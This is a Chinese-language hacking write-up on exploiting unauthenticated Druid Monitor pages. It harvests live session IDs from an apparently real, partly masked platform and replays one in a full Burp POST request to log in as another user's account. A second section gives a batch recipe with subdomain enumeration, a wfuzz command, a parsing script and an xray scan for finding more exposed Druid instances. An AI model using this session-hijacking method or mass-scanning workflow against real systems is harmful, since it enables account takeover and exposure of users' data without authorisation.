Druid未授权访问实战
Druid及未授权访问漏洞简介:
1、Druid是阿里巴巴数据库事业部出品,为监控而生的数据库连接池。
2、Druid提供的监控功能,监控SQL的执行时间、监控Web URI的请求、Session监控。
3、当开发者配置不当时就可能造成未授权访问漏洞。
漏洞特征:
http://www.xxxx.com/druid/index.html
漏洞名称:
某大数据产品平台通过DruidMonitor未授权访问可获取管理员信息
漏洞地址:
https://****.bl******.com.cn/***-***-service/druid/index.html
http://****.bl******.com.cn/***-****-view/#/
漏洞概述:
本漏洞是通过Druid Monitor未授权访问找到SESSION监控页面下面的一些SESSION信息和URI监控下的路径,以及通过配合目标网站大数据产品平台的登录等一系列测试,可获得一起管理员以及其他注册成员信息。
攻击流程:
首先,是未授权的访问界面,主要关注Session监控和URI监控这两个地方,如图:
可以看到,存在了大量SESSION信息,我们找几个拿来用,需要访问的IP地址是外外网IP,因为内部访问的用不了,我收集了下面这三个:
0b055336-85f8-4bdc-8008-d45dc23c6b2f
7a5681a1-a790-47fa-948b-a1f1a3532d09
3aaaa4d3-1259-4e64-835d-fb1f9bf35eda
既然有session了,下面要找到登录界面尝试一下登录的时候替换session会有什么效果,然后我再URI监控的地方找到了一些后台登录地址:
直觉感觉membership/index 页面可能不寻常,构造使用下方POST包,使用Burp发包:
POST /********-service/me****ship/index/ HTTP/1.1
Host: *****.bl*******.com.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101Firefox/79.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 101
Origin: http://***p.********.com.c*
Connection: close
Referer: http://*****.bl*******.com.cn/******-view/
Cookie: Hm_lvt_ed752fa41bdfde359bfde28ccd27b888=1597904479,1597907505;sid=0b055336-85f8-4bdc-8008-d45dc23c6b2f;token=029d8a6ac03358de6e57c7254acbd017;
username=80560478&password=FSMBKxmUSkq9MfJjyAgyEA%3D%3D&isCookieLogin=Y&validationCode=anqr&brand=999
其中要注意的是Cookie中的sid参数,即为session里面监控找到的数据,使用burp观察返回包:
可以看到用在Session监控下收集的数据,替换过后,可以得到用户名和用户ID。
下面我们需要使用到用户id,来到某大数据产品平台,输入用户id,密码随便填写
我们使用80560478这个账号,也就是上面通过session获取到的:
发送到repeater模块,进一步操作,首先可以看到,会提示密码错误:
我们将标记的sid替换为前面收集0b055336-85f8-4bdc-8008-d45dc23c6b2f这个,也就是获取到账号80560478的session:
最终可以看到成功登录到后台页面。
批量验证Druid未授权访问漏洞
1、首先收集一波域名,整理到一个TXT文件中,我使用的是Oneforall进行批量探测子域名,如果使用Oneforall,记得挂上代理,扫描结果会多出来很多哦。具体子域名收集大家都有自己偏爱的那款工具,所以不过多展示了。
2、扫了一批子域名后,我会使用WFUZZ进一步验证子域名的存活性,我使用了下面的命令:
wufzz -w 子域名.txt --hw 0 --hc 500,501,502,504,505,400 -Z -L -f 输出.txt --conn-delay 5 http://FUZZ
注意:
使用--conn-delay 5:为设置超时5秒后跳过,默认是90秒。
复制
3、WFUZZ文本保存结果不适合直接使用,大家可以自己编写小脚本对文件进行处理,或者大佬们不嫌弃的话,可以使用下面这个小代码
:
def spl(filename,saveFile):
openFile = open(filename,"r")
saveFile = open(saveFile,"w")
lines = openFile.readlines()
for i in lines:
x = i.split('"')[1]
x1 = "http://" + x
saveFile.writelines(x1+'\n')
print(x1)
saveFile.close()
openFile.close()
if __name__ == "__main__":
filePath = input("Input your filepath: ")
savePath = input("Sava File name: ")
spl(filePath,savePath)
print("hey BOY,Fighiting@@@")
4、最后我会使用Xray单独开启Druid检测插件,进行批量检测,需要注意的是,一定要把config.yaml中其他检测都关掉,比如SQL注入,XSS注入等等,可以更快的只针对Druid未授权进行检测,如图:
Xray批量检测Druid未授权访问命令:
./xray webscan --poc poc-yaml-druid-monitor-unauth--url-file ./存活的子域名.txt --html-output test.html